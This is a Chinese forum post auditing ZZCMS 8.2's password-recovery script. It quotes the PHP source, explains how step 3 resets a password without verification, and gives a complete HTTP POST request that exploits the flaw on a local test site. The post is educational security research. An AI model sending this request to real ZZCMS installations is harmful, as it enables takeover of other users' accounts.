用户
搜索
  • TA的每日心情
    奋斗
    前天 08:03
  • 签到天数: 120 天

    连续签到: 2 天

    [LV.7]常住居民III

    i春秋作家

    i春秋十五军装逼团团长

    Rank: 7Rank: 7Rank: 7

    30

    主题

    103

    帖子

    1055

    魔法币
    收听
    0
    粉丝
    13
    注册时间
    2018-3-1

    i春秋签约作者春秋文阁积极活跃奖春秋游侠

    F0rmat i春秋作家 i春秋十五军装逼团团长 i春秋签约作者 春秋文阁 积极活跃奖 春秋游侠 楼主
    发表于 2018-3-6 08:44:27 16641
    本帖最后由 F0rmat 于 2018-3-6 05:49 编辑

    前言

    这几天感冒很难受,再加上比赛的培训,估计后面会两天一篇。
    这个小型CMS前段时间我也挖到了很多洞,这次就找seebug发的一篇来做审计。

    论坛里面实践的文章:zzcms 8.2 任意用户密码修改

    我以前的zzcms代码审计文章:ZZCMS的代码审计

    环境

    Web: phpstudy
    System: Windows 10 X64
    Browser: Firefox Quantum
    Python version : 2.7

    漏洞详情

    代码位置和代码

    • 位置

    \one\getpassword.php

    • 代码
    <?php
    if(!isset($_SESSION)){session_start();}
    include("../inc/conn.php");
    include("../inc/top2.php");
    include("../inc/bottom.php");
    
    $action = isset($_POST['action'])?$_POST['action']:"";
    
    $file="../template/".$siteskin."/getpassword.htm";
    if (file_exists($file)==false){
    WriteErrMsg($file.'模板文件不存在');
    exit;
    }
    $fso = fopen($file,'r');
    $strout = fread($fso,filesize($file));
    
    $stepall=strbetween($strout,"{step1}","{/step4}");
    $step1=strbetween($strout,"{step1}","{/step1}");
    $step2=strbetween($strout,"{step2}","{/step2}");
    $step3=strbetween($strout,"{step3}","{/step3}");
    $step4=strbetween($strout,"{step4}","{/step4}");
    
    if ($action==""){
    $strout=str_replace("{step1}","",$strout) ;
    $strout=str_replace("{/step1}","",$strout) ;
    $strout=str_replace("{step2}".$step2."{/step2}","",$strout) ;
    $strout=str_replace("{step3}".$step3."{/step3}","",$strout) ;
    $strout=str_replace("{step4}".$step4."{/step4}","",$strout) ;
    }
    
    if ($action=="step1"){
    $username = isset($_POST['username'])?$_POST['username']:"";
    $_SESSION['username']=$username;
    checkyzm($_POST["yzm"]);
    $rs=query("select mobile,email from zzcms_user where username='" . $username . "' ");
    $row=fetch_array($rs);
    $regmobile=$row['mobile'];
    $regmobile_show=str_replace(substr($regmobile,3,4),"****",$regmobile);
    $regemail=$row['email'];
    $regemail_show=str_replace(substr($regemail,1,2),"**",$regemail);
    
    if ($regmobile==''){
    $regmobile_show='无手机号信息,无法用手机找回密码';
    }
    
    if (sendsms=="Yes"){
    $getpass_method="<select name='getpass_method' id='getpass_method'  class='biaodan'>";
    $getpass_method=$getpass_method."    <option value=''>请选择验证方式</option>";
    $getpass_method=$getpass_method."    <option value='".$regmobile."'>手机:".$regmobile_show."</option>";
    $getpass_method=$getpass_method."    <option value='".$regemail."'>邮箱:".$regemail_show."</option>";
    $getpass_method=$getpass_method."  </select>";
    }else{
    $getpass_method="发验证码到注册时所填邮箱:".$regemail_show;
    $_SESSION['getpass_method']=$regemail;//只为email时,AJAX不传值,直接把值设到这里
    }        
    
    $strout=str_replace("{step2}","",$strout) ;
    $strout=str_replace("{/step2}","",$strout) ;
    $strout=str_replace("{step1}".$step1."{/step1}","",$strout) ;
    $strout=str_replace("{step3}".$step3."{/step3}","",$strout) ;
    $strout=str_replace("{step4}".$step4."{/step4}","",$strout) ;
    $strout=str_replace("{#getpass_method}",$getpass_method,$strout) ;
    $strout=str_replace("{#username}",$_SESSION['username'],$strout) ;
    
    }elseif($action=="step2"){
    
    $strout=str_replace("{step3}","",$strout) ;
    $strout=str_replace("{/step3}","",$strout) ;        
    $strout=str_replace("{step1}".$step1."{/step1}","",$strout) ;
    $strout=str_replace("{step2}".$step2."{/step2}","",$strout) ;
    $strout=str_replace("{step4}".$step4."{/step4}","",$strout) ;
    
    }elseif($action=="step3" && @$_SESSION['username']!=''){
    
    $passwordtrue = isset($_POST['password'])?$_POST['password']:"";
    $password=md5(trim($passwordtrue));
    query("update zzcms_user set password='$password',passwordtrue='$passwordtrue' where username='".@$_SESSION['username']."'");
    
    $strout=str_replace("{step4}","",$strout) ;
    $strout=str_replace("{/step4}","",$strout) ;        
    $strout=str_replace("{step1}".$step1."{/step1}","",$strout) ;
    $strout=str_replace("{step2}".$step2."{/step2}","",$strout) ;
    $strout=str_replace("{step3}".$step3."{/step3}","",$strout) ;
    $strout=str_replace("{#username}",@$_SESSION['username'],$strout) ;
    }else{
    $strout=str_replace("{step1}".$stepall."{/step4}","错误",$strout) ;
    }
    $strout=str_replace("{#siteskin}",$siteskin,$strout) ;
    $strout=str_replace("{#sitename}",sitename,$strout) ;
    $strout=str_replace("{#siteurl}",siteurl,$strout) ;
    $strout=str_replace("{#sitebottom}",sitebottom(),$strout);
    $strout=str_replace("{#sitetop}",sitetop(),$strout);
    echo  $strout;
    session_write_close();
    ?>

    漏洞代码执行

    先注册一个测试账号:

    然后退出点找回密码链接:http://zzcms.test/one/getpassword.php
    用burp抓包:

    Payload

    POST /one/getpassword.php HTTP/1.1
    Host: zzcms.test
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer: http://zzcms.test/one/getpassword.php
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 91
    Cookie: PHPSESSID=hir89a7lp85ocl68ls926f9nm0; bdshare_firstime=1520265024224
    Connection: close
    Upgrade-Insecure-Requests: 1
    
    password=test&action=step3&submit=%E4%B8%8B%E4%B8%80%E6%AD%A5

    执行结果

    遇到问题

    可能第一次抓包然后改包重放会出现错误,因为第一次SESSION还没有写入,所以会检测不到。

    分析过程

    • 我们来一行一行分析这个文件是如何执行的。
      2行是判断有没有设置$_SESSION,如果没有就执行session_start(),有关session的可以去PHP的官方文档 观看:http://php.net/manual/zh/book.session.php

      3-5行是包含文件,conn.php里面有包含config.php是数据库的连接信息,等下会有执行数据库的操作。

      6行判断是否有post过来action这个值,有就赋值保持原本的值,如果没有就赋值空给$action

      7行把$siteskin的值在config.php可以找到,把getpassword.htm这个模版的路径赋值给$file

      8-11行是判断这个模版文件存不存在,如果不存在就退出。

      12fopen作用是把模版文件的资源流绑定到$fso上面

      13行用fread读取文件内容然后赋值到$strout上面

    \one\getpassword.php line:1-15

    <?php
    if(!isset($_SESSION)){session_start();}
    include("../inc/conn.php");
    include("../inc/top2.php");
    include("../inc/bottom.php");
    $action = isset($_POST['action'])?$_POST['action']:"";
    $file="../template/".$siteskin."/getpassword.htm";
    if (file_exists($file)==false){
    WriteErrMsg($file.'模板文件不存在');
    exit;
    }
    $fso = fopen($file,'r');
    $strout = fread($fso,filesize($file));
    • 这段我们先分析getpassword.php文件的第一行,里面用了一个函数方法strbetween,我们跳到function.php这个文件分析。
      1行就是接收刚才传过来的三个值分别是$strout,{step1},{/step4}

    2行用strpos查询上面传过来$strout中查找{step1}的位置,加上用strlen统计{step1}的长度再加上$startadd

    4行赋值给$b的意思是从{step1}的位置开始查找{/step4}的位置

    5行用substr作用是返回从$a的位置到$b-$a位置的内容,也就是{step1}到后面{/step4}中间的内容,可以去getpassword.htm文件对比下就晓得了。

    再回到getpassword.php$step1-$step4都是一样,是为了方便下面的替换。

    \one\getpassword.php line:17-21

    $stepall=strbetween($strout,"{step1}","{/step4}");
    $step1=strbetween($strout,"{step1}","{/step1}");
    $step2=strbetween($strout,"{step2}","{/step2}");
    $step3=strbetween($strout,"{step3}","{/step3}");
    $step4=strbetween($strout,"{step4}","{/step4}");

    \inc\function.php line:588-594

    function strbetween($str,$start,$end,$startadd=0) { 
    $a= strpos($str,$start)+strlen($start)+$startadd;//在起始标识$start所在位后追加数字,如取src="后的字符时,双引号无法直接表示,所以加这个startadd可以解决这种问题
    if (strpos($str,$start)!==false){ 
    $b= strpos($str,$end,$a);//必须定起始位置
    return substr($str,$a,$b-$a); 
    }
    }
    • 1行判断$action是否为空,也就是我们刚刚打开忘记密码的页面。

      2-6行的作用是把{step1}{/step1}字符串替换为空,然后{step2}位置到{/step2}位置中间的内容全部替换为空,下面依次类推。

    \one\getpassword.php line:23-29

    if ($action==""){
    $strout=str_replace("{step1}","",$strout) ;
    $strout=str_replace("{/step1}","",$strout) ;
    $strout=str_replace("{step2}".$step2."{/step2}","",$strout) ;
    $strout=str_replace("{step3}".$step3."{/step3}","",$strout) ;
    $strout=str_replace("{step4}".$step4."{/step4}","",$strout) ;
    }
    • 1就是我们输入验证码和用户名点击下一步的内容了。

      2-3行把$_POST['username']的值赋值给$_SESSION['username']

      4-10行是先验证验证码是否正确,然后数据库查询,查询出来的手机号码和邮箱的值分别赋值给$regmobile$regemail

    \one\getpassword.php line:31-40

    if ($action=="step1"){
    $username = isset($_POST['username'])?$_POST['username']:"";
    $_SESSION['username']=$username;
    checkyzm($_POST["yzm"]);
    $rs=query("select mobile,email from zzcms_user where username='" . $username . "' ");
    $row=fetch_array($rs);
    $regmobile=$row['mobile'];
    $regmobile_show=str_replace(substr($regmobile,3,4),"****",$regmobile);
    $regemail=$row['email'];
    $regemail_show=str_replace(substr($regemail,1,2),"**",$regemail);
    • 这部分是最重要的,这部分验证不安全,如果从一个开发人员角度出发,只要是能完成修改密码这一个功能就行了,但是安全往往就会出现在这个疏漏。

      1行,判断$action的值是否为step3$_SESSION['username']的值是否为空,这里应该验证的是$_SESSION['username']==$username,刚才第一步post过来的用户名。

      下面的内容就是判断密码是否有传值过来,然后将密码做MD5加密在去update数据库的数据。

      所以我们构造的POST就只要password就行了

    \one\getpassword.php line:73-84

    }elseif($action=="step3" && @$_SESSION['username']!=''){
    $passwordtrue = isset($_POST['password'])?$_POST['password']:"";
    $password=md5(trim($passwordtrue));
    query("update zzcms_user set password='$password',passwordtrue='$passwordtrue' where username='".@$_SESSION['username']."'");
    $strout=str_replace("{step4}","",$strout) ;
    $strout=str_replace("{/step4}","",$strout) ;        
    $strout=str_replace("{step1}".$step1."{/step1}","",$strout) ;
    $strout=str_replace("{step2}".$step2."{/step2}","",$strout) ;
    $strout=str_replace("{step3}".$step3."{/step3}","",$strout) ;
    $strout=str_replace("{#username}",@$_SESSION['username'],$strout) ;

    结束

    用Python写这个漏洞的工具好像没什么可写的就是发包修改数据,要写也不难。早上很冷起床赶着写了这篇文章,谢谢大家的支持!

    本来可以把ajax加载PHP验证写一下,现在没太多时间了,下篇吧,也是ZZCMS的另外一个漏洞审计。

    源码下载地址:https://pan.lanzou.com/i0lm7za

    参考

    https://www.seebug.org/vuldb/ssvid-97130

    http://php.net/docs.php

    本帖被以下淘专辑推荐:

    getpass.cn
    过来支持一下
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册